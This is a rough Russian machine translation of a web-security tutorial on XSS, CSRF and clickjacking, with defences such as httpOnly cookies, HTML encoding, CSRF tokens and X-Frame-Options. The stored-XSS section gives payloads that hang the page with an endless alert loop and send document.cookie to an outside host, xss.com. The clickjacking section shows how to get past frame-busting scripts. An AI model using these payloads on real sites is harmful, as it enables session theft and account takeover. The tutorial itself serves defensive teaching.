оригинальная ссылкаИмпорт суперспособных/артикул/59-х…
XSS
xss: Межсайтовый скриптинг (Cross Site Scripting) — наиболее распространенный и основной метод атаки на веб-сайты. Злоумышленники вводят незаконные HTML-теги или коды javascript для управления браузером пользователя, когда пользователь просматривает веб-страницу.
xss в основном делится на три категории:
-
DOM xss :
DOM означает модель текстовых объектов.DOM обычно представляет объекты в формате html, xhtml и xml.Использование DOM позволяет программам и сценариям динамически получать доступ и обновлять содержимое, структуру и стиль документов. Это не требует прямого участия сервера в анализе ответа, а запуск XSS зависит от анализа DOM на стороне браузера, который можно считать полностью делом на стороне клиента.
-
Светоотражающий xss:
Отраженный XSS, также известный как непостоянный XSS, на сегодняшний день является одной из наиболее подверженных XSS-уязвимостям. Когда запрос сделан, XSS-код появляется в URL-адресе, и окончательный ввод отправляется на сервер.После того, как сервер анализирует, XSS-код появляется в содержимом ответа, и, наконец, браузер анализирует и выполняет его.
-
Сохраненный xss:
Сохраненный XSS также известен как постоянный XSS. Это наиболее опасный тип межсайтового скриптинга. По сравнению с отраженным XSS и DOM XSS, он имеет более высокий уровень скрытности, поэтому он более опасен, поскольку не требует от пользователей запуска вручную. Веб-программы, которые позволяют пользователям хранить данные, могут хранить уязвимости XSS. Когда злоумышленник отправляет фрагмент кода XSS, он принимается и сохраняется сервером. Когда все браузеры посещают страницу, они будут XSS. Наиболее типичный пример: доска объявлений.
Атаки с использованием межсайтовых сценариев могут иметь следующие последствия:
-
Используйте поддельные формы ввода, чтобы выманивать у пользователей личную информацию.
-
Используя сценарий для кражи значения файла cookie пользователя, жертва может помочь злоумышленнику отправлять вредоносные запросы, не зная об этом.
-
Отображение поддельных статей или изображений.
Сохраненный случай xss
При разработке проектов комментарии являются распространенной функцией, если содержимое комментариев напрямую сохраняется в базе данных, то при отображении оно может быть атаковано.
-
Если вы просто хотите попробовать xss, вы можете сделать это:
<font size="100" color="red">试试水</font>
-
Если это немного вредоносно, вы можете сделать это:
<script> while (true) { alert('Hello') } </script>
На данный момент сайт не работает.
-
Конечно, самая распространенная атака xss — это чтение файлов cookie:
<script> alert(document.cookie) </script>
Файл cookie отправляется на сайт злоумышленника:
var img = document.createElement('img') img.src='http://www.xss.com?cookie=' + document.cookie img.style.display='none' document.getElementsByTagName('body')[0].appendChild(img)
Учетные данные текущего пользователя хранятся в сеансе сервера, а браузер хранится в виде файла cookie. Если злоумышленник может получить cookie учетных данных пользователя для входа в систему, даже в обход процесса входа в систему, значение cookie устанавливается непосредственно для доступа к учетной записи пользователя.
защита
Само собой разумеется, что пока есть место для ввода данных, может существовать опасность XSS.
-
httpOnly: после установки атрибута HttpOnly в файле cookie сценарий js не сможет прочитать информацию о файле cookie.
// koa ctx.cookies.set(name, value, { httpOnly: true // 默认为 true }) `
-
фильтр
-
Проверка ввода обычно используется для проверки формата ввода, например: адрес электронной почты, номер телефона, имя пользователя, пароль и т. д., и ввода в соответствии с указанным форматом.
Не только внешний интерфейс отвечает, но и серверная часть также должна выполнять те же проверки фильтрации.
Поскольку злоумышленник может обойти нормальный процесс ввода, непосредственно связанный интерфейс настроек для отправки на сервер.
-
HtmlEncode
В некоторых случаях пользовательские данные не могут быть строго отфильтрованы, и теги должны быть преобразованыкогда пользователь входит
<script>window.location.href=”http://www.baidu.com”;</script>
, окончательный результат сохраняется как<script>window.location.href="http://www.baidu.com"</script>
, при отображении браузер преобразует эти символы в текстовое содержимое, а не в исполняемый код. -
JavaScriptEncode
Добавьте обратную косую черту к следующим символамДополнительные сведения о HtmlEncode и JavaScriptEncode см.Woo woo woo.cn blog на on.com/lovesong/afraid/...
-
CSRF
csrf: подделка межсайтовых запросов, также известная как атака в один клик или сессия. Выдавать себя за пользователя, чтобы инициировать запрос (без ведома пользователя) и выполнить некоторые действия вопреки желанию пользователя (например, изменить информацию о пользователе, удалить первоначальные комментарии и т. д.).
Могут возникнуть следующие эффекты:
-
Обновление информации о настройках и т. д. с правами аутентифицированного пользователя;
-
Покупка продуктов с использованием авторизованных прав пользователя;
-
Размещайте комментарии на досках объявлений с утвержденными правами пользователя.
Картинка для понимания принципа:
Жертва Чжан Сан перевела 100 Ли Си,
Сделав заявку на сайте банкаbank.example/transfer?ac…,
Обычно после отправки запроса сервер проверяет, является ли сессия законной, и Чжан Сан успешно вошел в систему.
Хакер Ван Ву может сам отправить запрос в банкbank.example/transfer?ac…, но этот запрос исходил от Ван Ву, а не от Чжан Саня, который не смог пройти сертификацию безопасности. Ему нужен сеанс Чжан Саня.
Ван Ву сам сделал сайт и поместил следующий кодbank.example/transfer?ac…,
Используйте различные методы, чтобы побудить Чжан Сана перейти на его веб-сайт.
Чжан Сан вошел на веб-сайт банка и не вышел из системы.Он посетил веб-сайт хакера Ван Ву, и приведенный выше URL-адрес инициировал запрос в банк.
Если сессия не истекла, то случится трагедия, и счет Чжан Саня потеряет 1000.
защита
-
Captcha; обеспечивает взаимодействие пользователя с приложением для выполнения окончательного запроса. Этот метод может хорошо обуздать csrf, но пользовательский опыт относительно плохой.
-
Попробуйте использовать post, чтобы ограничить использование get; предыдущий пример показывает, что get слишком просто использовать для атак csrf, но post не является надежным, злоумышленнику нужно только создать форму.
-
Referer check; запросить ограничение по источнику, этот метод имеет наименьшую стоимость, но не гарантирует 100% эффективность, так как сервер не может постоянно получать Referer, а младшая версия браузера имеет риск подделки Referer.
-
токен, наиболее подходящим решением признан CSRF-защитный механизм проверки токена.
Общая идея такова:
-
Шаг 1: Серверная часть случайным образом генерирует токен и сохраняет токен в состоянии сеанса, в то же время серверная часть отправляет токен на страницу внешнего интерфейса;
-
Шаг 2: когда интерфейсная страница отправляет запрос, добавьте токен к данным запроса или информации заголовка и вместе передайте его на серверную часть;
-
Серверная часть проверяет, соответствует ли токен от внешнего интерфейса сеансу, если они согласуются, то это законный запрос, в противном случае это незаконный запрос.
Если на сайте есть еще и XSS-уязвимости, то этот метод — пустая болтовня.
-
Clickjacking
Clickjacking: Clickjacking относится к использованию прозрачных кнопок или соединений для создания ловушек и оверлеев на веб-страницах. Атака, которая затем обманом заставляет пользователей щелкнуть эту ссылку для доступа к контенту без их ведома. Это поведение также известно как исправление пользовательского интерфейса.
Вероятно, есть два пути:
-
Злоумышленник использует прозрачный iframe, накладывает на веб-страницу, а затем обманом заставляет пользователя выполнить действие на странице, после чего пользователь, не подозревая об этом, щелкнет прозрачную страницу iframe;
-
Злоумышленник использует изображение для наложения на веб-страницу, чтобы скрыть исходное значение местоположения веб-страницы.
кейс
Картинка
Общие шаги
-
Хакер создает веб-страницу, используя iframe для содержания целевого веб-сайта;
-
Скрыть целевой веб-сайт, чтобы пользователь не мог обнаружить его существование;
-
Создание веб-страницы и изменение пользователей, чтобы они нажимали кнопку функции
-
Пользователь неосознанно нажимает кнопку, запуская команду для выполнения вредоносной веб-страницы.
защита
-
X-кадр-варианты;
Заголовок ответа HTTP X-FRAME-OPTIONS используется для указания браузеру, разрешена ли страница или нет.
<frame>
,<iframe>
или<object>
знак показан в . Веб-сайты могут использовать эту функцию, чтобы убедиться, что содержимое их собственного веб-сайта не встроено в веб-сайты других людей, что позволяет избежать атак с использованием кликджекинга.Есть три значения:
-
DENY: указывает, что страница не может отображаться во фрейме, даже если она вложена в страницы с тем же доменным именем.
-
SAMEORIGIN: Указывает, что страница может отображаться во фрейме страницы с тем же доменным именем.
-
РАЗРЕШЕННЫЙ URL-адрес: указывает, что страница может отображаться во фрейме в указанном источнике.
Настройте параметры X-frame:
-
Apache
Добавьте следующую строку в конфигурацию «сайт»:
Header always append X-Frame-Options SAMEORIGIN
-
nginx
Добавьте следующую строку в «http», «сервер» или «местоположение», конфигурация
add_header X-Frame-Options SAMEORIGIN;
-
IIS
Добавьте следующую конфигурацию в файл Web.config.
<system.webServer> ... <httpProtocol> <customHeaders> <add name="X-Frame-Options" value="SAMEORIGIN" /> </customHeaders> </httpProtocol> ... </system.webServer>
-
-
js оценивает прыжок окна верхнего уровня, который легко взломать и не имеет большого значения;
function locationTop(){ if (top.location != self.location) { top.location = self.location; return false; } return true; } locationTop();
// 破解: // 顶层窗口中放入代码 var location = document.location; //或者 var location = "";